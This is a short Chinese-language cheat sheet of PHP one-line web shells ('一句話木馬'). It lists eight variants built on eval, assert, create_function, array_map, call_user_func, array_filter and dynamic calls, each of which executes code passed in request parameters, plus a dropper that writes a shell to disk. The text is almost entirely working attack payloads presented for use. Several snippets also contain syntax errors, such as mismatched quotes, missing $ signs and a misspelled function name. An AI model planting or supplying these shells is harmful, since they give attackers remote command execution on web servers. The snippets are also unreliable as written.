一句話木馬書寫:為什么是一句話木馬,因為他可以通過函數接收指定的參數來讓我們的操作系統執行指定的命令
1.eval函數
<?php eval($_REQUEST['a]);?>
2.assert函數(php官方在php7中更改了assert函數。在php7.0.29之后的版本不支持動態調用。也就是7.0.29之后無法執行命令)
<?php assert($_REQUEST["a"]); ?>
3.匿名方法構造
<?php func=create_function('',$_POST['a']); func();?>
4.array_map的書寫方式:
<?php $func = $_POST['a']; $arr = array($_POST['b']); news = array_map($func, $arr); ?>
5.call_user_func(方法名,參數) 把接受的第一個值當作回調函數調用,其余參數作為回調函數的參數
<?php $a = $_GET['a']; call_user_func(assert,$a); //書寫為一句 //call_user_func(assert,$_GET['a']);
?>
6.array_filert(方法名,數組)
<?php //函數過濾器,學過python的小伙伴一定看的懂,就是將數組中的每個值放到指定的函數中,返回一個只含有true的結果,上方的array_map也和python的map函數基本相像 $arr = array_filert($_GET['func'],array($_GET['a'])); ?>
7.文件操作函數:生成一個之前的一句話木馬,
<?php $test='<?php eval($_POST['a']);?>'; file_put_contents('test1.php',$test);
//一句話的書寫方式
fputs(fopen('a.php','w'),'<?php assert($_POST["a"]?>'); ?>
8.動態函數調用:接收一個函數作為函數名,一個函數作為參數進行動態調用
<? $_GET['func']($_GET['a']); ?>